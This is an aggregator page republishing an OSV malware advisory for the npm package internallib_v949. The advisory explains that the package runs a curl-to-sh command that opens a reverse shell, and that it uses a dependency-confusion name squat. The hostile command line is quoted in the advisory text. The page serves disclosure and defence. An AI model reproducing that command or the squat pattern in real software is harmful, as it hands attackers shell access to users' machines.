Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

Malicious code in internallib_v949 (npm)

Exploitation and risk

Source status

CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.

Which CVEs have scores here?

This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.

No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.

osv · MAL-2026-16294

Published

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (16b7999911edfe600ebe4f34972eb325b48d6b96e1ac4212f0881b683a04abd9) index.js line 5 invokes child_process.exec to run '/bin/bash -c "curl https://reverse-shell.sh/... | sh"', fetching and piping a remote shell script into sh to open a reverse shell to the hardcoded attacker endpoint 10.0.16.19:443. The exported function is on the main module load path, so any consumer that invokes it hands full interactive shell access on the installer's host to whoever controls that endpoint. package.json also declares a self-referential dependency on internallib_v949 ^1.0.0, matching the dependency-confusion pattern in which an internal package name is squatted on the public npm registry to intercept internal builds. The package name pattern (an unusual '_v949' suffix on a generic 'internallib' base) is consistent with a targeted internal-name squat rather than a legitimate library. ## Source: ghsa-malware (56b1dae4951f7ccdf0525a1e36a72191f18339c2101dda0b06482ee0efd70b46) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Source published
18 Sep 2026 20:24:12 UTC
Source modified
18 Sep 2026 22:31:00 UTC
Saved here
24 Oct 2026 13:17:17 UTC
Source terms
OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 13 Nov 03:01 UTC · 274 of 275 readable · 272 fully read · documentation 461/469 current